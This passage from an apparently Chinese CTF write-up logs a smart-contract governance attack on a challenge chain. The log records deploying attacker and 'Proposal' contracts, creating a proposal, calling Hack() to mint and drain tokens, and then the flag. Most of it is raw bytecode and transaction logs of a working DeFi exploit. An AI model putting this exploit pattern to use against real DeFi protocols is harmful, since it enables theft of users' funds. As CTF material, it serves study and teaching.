f19601f82011682018060405250810190610d289190610ec1565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73cf33a10b840544cf5ee8ce432ef116e10f80fbb881565b600081359050610d77816115c8565b92915050565b600081519050610d8c816115df565b92915050565b60008083601f840112610da457600080fd5b8235905067ffffffffffffffff811115610dbd57600080fd5b602083019150836001820283011115610dd557600080fd5b9250929050565b600081359050610deb816115f6565b92915050565b600081519050610e00816115f6565b92915050565b600060208284031215610e1857600080fd5b6000610e2684828501610d68565b91505092915050565b60008060008060008060a08789031215610e4857600080fd5b6000610e5689828a01610d68565b9650506020610e6789828a01610d68565b9550506040610e7889828a01610ddc565b9450506060610e8989828a01610ddc565b935050608087013567ffffffffffffffff811115610ea657600080fd5b610eb289828a01610d92565b92509250509295509295509295565b600060208284031215610ed357600080fd5b6000610ee184828501610d7d565b91505092915050565b600060208284031215610efc57600080fd5b6000610f0a84828501610df1565b91505092915050565b6000610f1f8383610f57565b60208301905092915050565b6000610f3783836110b5565b905092915050565b6000610f4b8383611168565b60208301905092915050565b610f608161148e565b82525050565b610f6f8161148e565b82525050565b6000610f8082611343565b610f8a81856113a1565b9350610f9583611313565b8060005b83811015610fc6578151610fad8882610f13565b9750610fb88361137a565b925050600181019050610f99565b5085935050505092915050565b6000610fde8261134e565b610fe881856113b2565b935083602082028501610ffa85611323565b8060005b8581101561103657848403895281516110178582610f2b565b945061102283611387565b925060208a01995050600181019050610ffe565b50829750879550505050505092915050565b600061105382611359565b61105d81856113c3565b935061106883611333565b8060005b838110156110995781516110808882610f3f565b975061108b83611394565b92505060018101905061106c565b5085935050505092915050565b6110af816114ac565b82525050565b60006110c082611364565b6110ca81856113d4565b93506110da818560208601611523565b6110e3816115b4565b840191505092915050565b6110f7816114ed565b82525050565b61110681611511565b82525050565b60006111178261136f565b61112181856113f6565b9350611131818560208601611523565b61113a816115b4565b840191505092915050565b60006111526000836113e5565b915061115d826115c5565b600082019050919050565b611171816114d6565b82525050565b611180816114d6565b82525050565b600060208201905061119b6000830184610f66565b92915050565b60006040820190506111b66000830185610f66565b6111c36020830184611177565b9392505050565b600060808201905081810360008301526111e48187610f75565b905081810360208301526111f88186611048565b9050818103604083015261120c8185610fd3565b905061121b60608301846110a6565b95945050505050565b6000608082019050818103600083015261123e8187610f75565b905081810360208301526112528186611048565b905081810360408301526112668185610fd3565b9050818103606083015261127a818461110c565b905095945050505050565b600060208201905061129a60008301846110a6565b92915050565b60006080820190506112b560008301866110ee565b6112c26020830185610f66565b6112cf6040830184611177565b81810360608301526112e081611145565b9050949350505050565b60006040820190506112ff6000830185611177565b61130c60208301846110fd565b9392505050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611412826114d6565b915061141d836114d6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561145257611451611556565b5b828201905092915050565b6000611468826114d6565b9150611473836114d6565b92508261148357611482611585565b5b828204905092915050565b6000611499826114b6565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006114f8826114ff565b9050919050565b600061150a826114b6565b9050919050565b600061151c826114e0565b9050919050565b60005b83811015611541578082015181840152602081019050611526565b83811115611550576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b50565b6115d18161148e565b81146115dc57600080fd5b50565b6115e8816114a0565b81146115f357600080fd5b50565b6115ff816114d6565b811461160a57600080fd5b5056fea2646970667358221220bc0fc24212525737cb617bd0d0c402695bb0e1fafeb1778287e0877f3908e02164736f6c63430008040033', 'gas': 1277139, 'gasPrice': 1200000000, 'chainId': 6789}
2022-06-26 23:59:47.168 | SUCCESS  | Poseidon_Blockchain:DeployContract:266 - 
[ConfirmDeploy][Success]
[TransactionHash]0x29e6f69ec85443b9b70bdb5a070990ea725299c11a8b2a16bc6f58de4868f8dd
[BlockNumber]10097 [GasUsed]1277139
[Logs][]
[ContractAddress]0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4
2022-06-26 23:59:47.183 | SUCCESS  | Poseidon_Blockchain:__init__:339 - 
[InstantiateContract]Successfully instantiated contract [0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4]. 
2022-06-27 00:00:10.765 | SUCCESS  | Poseidon_Blockchain:CompileSolidityToABIAndBytecode:411 - 
[CompileContract]Success.
[FileCourse]Proposal.sol
[ContractName]Proposal
[ABI][{'inputs': [], 'name': 'GovernorAddress', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'Hacker', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'TokenAddress', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'executeProposal', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}]
[Bytecode]608060405234801561001057600080fd5b506103e1806100206000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063373058b8146100515780637dd2b1951461005b578063a40dabba14610079578063c2cba30614610097575b600080fd5b6100596100b5565b005b61006361020f565b60405161007091906102f1565b60405180910390f35b610081610227565b60405161008e91906102f1565b60405180910390f35b61009f61023f565b6040516100ac91906102f1565b60405180910390f35b600073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb732f4d1afe2e572cbe2a372597e005ab0ce8f6c1b48373ffffffffffffffffffffffffffffffffffffffff166370a08231736bef3223f7e0a6282f1dc1e483b533c9700a6d086040518263ffffffff1660e01b815260040161014c91906102f1565b60206040518083038186803b15801561016457600080fd5b505afa158015610178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061019c91906102aa565b6040518363ffffffff1660e01b81526004016101b992919061030c565b602060405180830381600087803b1580156101d357600080fd5b505af11580156101e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020b9190610281565b5050565b736bef3223f7e0a6282f1dc1e483b533c9700a6d0881565b732f4d1afe2e572cbe2a372597e005ab0ce8f6c1b481565b73cf33a10b840544cf5ee8ce432ef116e10f80fbb881565b6000815190506102668161037d565b92915050565b60008151905061027b81610394565b92915050565b60006020828403121561029357600080fd5b60006102a184828501610257565b91505092915050565b6000602082840312156102bc57600080fd5b60006102ca8482850161026c565b91505092915050565b6102dc81610335565b82525050565b6102eb81610373565b82525050565b600060208201905061030660008301846102d3565b92915050565b600060408201905061032160008301856102d3565b61032e60208301846102e2565b9392505050565b600061034082610353565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61038681610347565b811461039157600080fd5b50565b61039d81610373565b81146103a857600080fd5b5056fea2646970667358221220605b2de2a9f9d9b67727df110cf1ed9edc497d12a7ccd84fd25f7249ef8a9ad464736f6c63430008040033
2022-06-27 00:00:11.018 | INFO     | Poseidon_Blockchain:DeployContract:258 - 
[DeployContract][Traditional]
[TransactionHash]0x1b571736f2b4fdce411fd195a66b75f75abb1bf97892996a40dbacab2edec74d
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'nonce': 38, 'value': 0, 'data': '0x608060405234801561001057600080fd5b506103e1806100206000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063373058b8146100515780637dd2b1951461005b578063a40dabba14610079578063c2cba30614610097575b600080fd5b6100596100b5565b005b61006361020f565b60405161007091906102f1565b60405180910390f35b610081610227565b60405161008e91906102f1565b60405180910390f35b61009f61023f565b6040516100ac91906102f1565b60405180910390f35b600073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb732f4d1afe2e572cbe2a372597e005ab0ce8f6c1b48373ffffffffffffffffffffffffffffffffffffffff166370a08231736bef3223f7e0a6282f1dc1e483b533c9700a6d086040518263ffffffff1660e01b815260040161014c91906102f1565b60206040518083038186803b15801561016457600080fd5b505afa158015610178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061019c91906102aa565b6040518363ffffffff1660e01b81526004016101b992919061030c565b602060405180830381600087803b1580156101d357600080fd5b505af11580156101e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020b9190610281565b5050565b736bef3223f7e0a6282f1dc1e483b533c9700a6d0881565b732f4d1afe2e572cbe2a372597e005ab0ce8f6c1b481565b73cf33a10b840544cf5ee8ce432ef116e10f80fbb881565b6000815190506102668161037d565b92915050565b60008151905061027b81610394565b92915050565b60006020828403121561029357600080fd5b60006102a184828501610257565b91505092915050565b6000602082840312156102bc57600080fd5b60006102ca8482850161026c565b91505092915050565b6102dc81610335565b82525050565b6102eb81610373565b82525050565b600060208201905061030660008301846102d3565b92915050565b600060408201905061032160008301856102d3565b61032e60208301846102e2565b9392505050565b600061034082610353565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61038681610347565b811461039157600080fd5b50565b61039d81610373565b81146103a857600080fd5b5056fea2646970667358221220605b2de2a9f9d9b67727df110cf1ed9edc497d12a7ccd84fd25f7249ef8a9ad464736f6c63430008040033', 'gas': 267633, 'gasPrice': 1200000000, 'chainId': 6789}
2022-06-27 00:00:17.118 | SUCCESS  | Poseidon_Blockchain:DeployContract:266 - 
[ConfirmDeploy][Success]
[TransactionHash]0x1b571736f2b4fdce411fd195a66b75f75abb1bf97892996a40dbacab2edec74d
[BlockNumber]10098 [GasUsed]267633
[Logs][]
[ContractAddress]0xe0B5Bff495DC5B642C7F9A5ECD564CBd81a01EfE
2022-06-27 00:00:17.131 | SUCCESS  | Poseidon_Blockchain:__init__:339 - 
[InstantiateContract]Successfully instantiated contract [0xe0B5Bff495DC5B642C7F9A5ECD564CBd81a01EfE]. 
2022-06-27 00:00:17.242 | INFO     | Poseidon_Blockchain:CallFunction:347 - 
[CallFunction][Traditional][0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4]
[Function]init('0xe0B5Bff495DC5B642C7F9A5ECD564CBd81a01EfE',)
[Value]0 [Gas]108504
2022-06-27 00:00:17.388 | INFO     | Poseidon_Blockchain:SendTransaction:193 - 
[SendTransaction][Traditional]
[TransactionHash]0x9c37d620d65e5f30841908d6dd9798a320eab2038f6c807fc29c648161a54839
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4', 'nonce': 39, 'value': 0, 'data': '0x19ab453c000000000000000000000000e0b5bff495dc5b642c7f9a5ecd564cbd81a01efe', 'gas': 108504, 'gasPrice': 1200000000, 'chainId': 6789}
2022-06-27 00:00:47.104 | SUCCESS  | Poseidon_Blockchain:SendTransaction:200 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x9c37d620d65e5f30841908d6dd9798a320eab2038f6c807fc29c648161a54839
[BlockNumber]10099 [GasUsed]107916
[Logs][AttributeDict({'address': '0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08', 'topics': [HexBytes('0x7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e0')], 'data': '0xe013b325037b59e9c5b31ffd1cff8027ac8a781aa80dc18df37f909165b1058d0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b40000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000277d000000000000000000000000000000000000000000000000000000000000db4800000000000000000000000000000000000000000000000000000000000002800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000e0b5bff495dc5b642c7f9a5ecd564cbd81a01efe00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004373058b80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000023432000000000000000000000000000000000000000000000000000000000000', 'blockNumber': 10099, 'transactionHash': HexBytes('0x9c37d620d65e5f30841908d6dd9798a320eab2038f6c807fc29c648161a54839'), 'transactionIndex': 0, 'blockHash': HexBytes('0x948af3a9dcc4d57659e40a2eba548018021524ea113d4a844b72a1e0d58ec489'), 'logIndex': 0, 'removed': False})]
2022-06-27 00:00:47.110 | WARNING  | __main__:<module>:55 - 等待10个区块...
2022-06-27 00:05:47.276 | INFO     | Poseidon_Blockchain:CallFunction:347 - 
[CallFunction][Traditional][0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4]
[Function]Hack()
[Value]0 [Gas]402026
2022-06-27 00:05:47.420 | INFO     | Poseidon_Blockchain:SendTransaction:193 - 
[SendTransaction][Traditional]
[TransactionHash]0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4', 'nonce': 40, 'value': 0, 'data': '0x983e1318', 'gas': 402026, 'gasPrice': 1200000000, 'chainId': 6789}
2022-06-27 00:06:17.124 | SUCCESS  | Poseidon_Blockchain:SendTransaction:200 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0
[BlockNumber]10110 [GasUsed]360946
[Logs][AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x000000000000000000000000000000000000000000084595161401484a000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0x3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 1, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084595161401484a000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 2, 'removed': False}), AttributeDict({'address': '0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08', 'topics': [HexBytes('0xb8e138887d0aa13bab447e82de9d5c1777041ecd21ca36ba824ff1e6c07ddda4'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0xe013b325037b59e9c5b31ffd1cff8027ac8a781aa80dc18df37f909165b1058d0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 3, 'removed': False}), AttributeDict({'address': '0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08', 'topics': [HexBytes('0x712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f')], 'data': '0xe013b325037b59e9c5b31ffd1cff8027ac8a781aa80dc18df37f909165b1058d', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 4, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000006bef3223f7e0a6282f1dc1e483b533c9700a6d08'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x00000000000000000000000000000000000000000052b7d2dcc80cd2e4000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 5, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724'), HexBytes('0x0000000000000000000000006bef3223f7e0a6282f1dc1e483b533c9700a6d08')], 'data': '0x00000000000000000000000000000000000000000052b7d2dcc80cd2e40000000000000000000000000000000000000000000000000000000000000000000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 6, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x000000000000000000000000000000000000000000084595161401484a0000000000000000000000000000000000000000000000005afd67f2dc0e1b2e000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 7, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4'), HexBytes('0x000000000000000000000000cf33a10b840544cf5ee8ce432ef116e10f80fbb8')], 'data': '0x000000000000000000000000000000000000000000085ac218dbe29340800000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 8, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4'), HexBytes('0x000000000000000000000000cf33a10b840544cf5ee8ce432ef116e10f80fbb8')], 'data': '0x0000000000000000000000000000000000000000000000000000000000000000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 9, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4'), HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')], 'data': '0x000000000000000000000000000000000000000000085ac218dbe29340800000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 10, 'removed': False}), AttributeDict({'address': '0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8', 'topics': [HexBytes('0xdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724'), HexBytes('0x0000000000000000000000002f4d1afe2e572cbe2a372597e005ab0ce8f6c1b4')], 'data': '0x0000000000000000000000000000000000000000005afd67f2dc0e1b2e00000000000000000000000000000000000000000000000052a2a5da002b87ed800000', 'blockNumber': 10110, 'transactionHash': HexBytes('0x43b22f1b8084329c3af14bbbad943bf519cfd5dbfad490f46d38d255d0a234b0'), 'transactionIndex': 0, 'blockHash': HexBytes('0x91dccb39f19893e1cb09171bed294177711919a51f80773ba25514527361f44a'), 'logIndex': 11, 'removed': False})]
2022-06-27 00:06:17.134 | SUCCESS  | __main__:<module>:61 - Execution completed.

到服务器提交即可得到flag

22

ACTF{R34L_woRLD_d3FI_@7t@cK_1D3a_FROM_EANS74Lk|by_Bl0ckSEc}

Weird EVM(未解出)

题目描述

24

题目附件


暂无留言

发表留言